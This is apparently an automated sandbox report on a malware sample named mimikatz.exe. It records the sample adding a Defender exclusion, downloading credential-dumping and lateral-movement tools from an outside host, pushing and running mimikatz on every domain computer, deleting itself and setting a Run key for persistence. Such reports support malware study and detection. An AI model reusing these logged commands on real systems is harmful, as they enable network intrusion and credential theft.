mimikatz.exe| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | Feb. 19, 2025, 10:36 a.m. | Feb. 19, 2025, 10:38 a.m. |
-
-
cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\"
2672-
powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\"
2732
-
-
cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Dpose.exe -Outfile C:\WinXRAR\Dpose.exe
2836-
powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Dpose.exe -Outfile C:\WinXRAR\Dpose.exe
2896
-
-
cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Bootxr.exe -Outfile C:\WinXRAR\Bootxr.exe
2980-
powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Bootxr.exe -Outfile C:\WinXRAR\Bootxr.exe
3040
-
-
cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\mimikatz.exe"
1404-
PING.EXE ping 1.1.1.1 -n 1 -w 3000
2204
-
-
python.exe python --version
2108 -
powershell.exe powershell -Command " $computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name Invoke-Command -ComputerName $computers -ScriptBlock { cmd /c 'if not exist C:\WinXRAR mkdir C:\WinXRAR && powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\WinXRAR\mimikatz.exe && C:\WinXRAR\mimikatz.exe' } "
2088 -
cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/wmiexec.py -Outfile C:\WinXRAR\wmiexec.py
2472-
powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/wmiexec.py -Outfile C:\WinXRAR\wmiexec.py
2596
-
-
cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Mizedo.exe -Outfile C:\WinXRAR\Mizedo.exe
2684-
powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Mizedo.exe -Outfile C:\WinXRAR\Mizedo.exe
2784
-
-
cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/set_empty_pw.py -Outfile C:\WinXRAR\set_empty_pw.py
2728-
powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/set_empty_pw.py -Outfile C:\WinXRAR\set_empty_pw.py
2952
-
-
cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/secretsdump.py -Outfile C:\WinXRAR\secretsdump.py
452-
powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/secretsdump.py -Outfile C:\WinXRAR\secretsdump.py
2984
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
| IP Address | Status | Action |
|---|---|---|
| No hosts contacted. | ||
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS
| pdb_path | Z:\Yoanna\Release\Yoanna.pdb |
| description | mimikatz.exe tried to sleep 169 seconds, actually delayed analysis time by 169 seconds | |||
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Bootxr.exe -Outfile C:\WinXRAR\Bootxr.exe |
| cmdline | powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\" |
| cmdline | cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/wmiexec.py -Outfile C:\WinXRAR\wmiexec.py |
| cmdline | cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\mimikatz.exe" |
| cmdline | cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/set_empty_pw.py -Outfile C:\WinXRAR\set_empty_pw.py |
| cmdline | cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/secretsdump.py -Outfile C:\WinXRAR\secretsdump.py |
| cmdline | powershell -Command " $computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name Invoke-Command -ComputerName $computers -ScriptBlock { cmd /c 'if not exist C:\WinXRAR mkdir C:\WinXRAR && powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\WinXRAR\mimikatz.exe && C:\WinXRAR\mimikatz.exe' } " |
| cmdline | powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/secretsdump.py -Outfile C:\WinXRAR\secretsdump.py |
| cmdline | cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Dpose.exe -Outfile C:\WinXRAR\Dpose.exe |
| cmdline | powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/set_empty_pw.py -Outfile C:\WinXRAR\set_empty_pw.py |
| cmdline | cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\" |
| cmdline | powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Dpose.exe -Outfile C:\WinXRAR\Dpose.exe |
| cmdline | cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Bootxr.exe -Outfile C:\WinXRAR\Bootxr.exe |
| cmdline | cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Mizedo.exe -Outfile C:\WinXRAR\Mizedo.exe |
| cmdline | powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/Mizedo.exe -Outfile C:\WinXRAR\Mizedo.exe |
| cmdline | powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/wmiexec.py -Outfile C:\WinXRAR\wmiexec.py |
| file | C:\Users\test22\AppData\Local\Temp\mimikatz.exe |
| process | pw.exe |
| cmdline | powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\" |
| cmdline | cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\mimikatz.exe" |
| cmdline | powershell -Command " $computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name Invoke-Command -ComputerName $computers -ScriptBlock { cmd /c 'if not exist C:\WinXRAR mkdir C:\WinXRAR && powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\WinXRAR\mimikatz.exe && C:\WinXRAR\mimikatz.exe' } " |
| cmdline | ping 1.1.1.1 -n 1 -w 3000 |
| cmdline | cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\WinXRAR\" |
| reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\G5UTDSRESW | reg_value | "C:\Users\test22\AppData\Local\Temp\mimikatz.exe" | ||||||
| option | -noninteractive | value | Prevents creating an interactive prompt for the user | ||||||
| option | -noninteractive | value | Prevents creating an interactive prompt for the user | ||||||
| file | C:\Windows\System32\ie4uinit.exe |
| file | C:\Program Files\Windows Sidebar\sidebar.exe |
| file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
| file | C:\Windows\System32\xpsrchvw.exe |
| file | C:\Windows\System32\displayswitch.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
| file | C:\Windows\System32\mblctr.exe |
| file | C:\Windows\System32\mstsc.exe |
| file | C:\Windows\System32\SnippingTool.exe |
| file | C:\Windows\System32\SoundRecorder.exe |
| file | C:\Windows\System32\dfrgui.exe |
| file | C:\Windows\System32\msinfo32.exe |
| file | C:\Windows\System32\rstrui.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
| file | C:\Program Files\Windows Journal\Journal.exe |
| file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| file | C:\Windows\System32\MdSched.exe |
| file | C:\Windows\System32\msconfig.exe |
| file | C:\Windows\System32\recdisc.exe |
| file | C:\Windows\System32\msra.exe |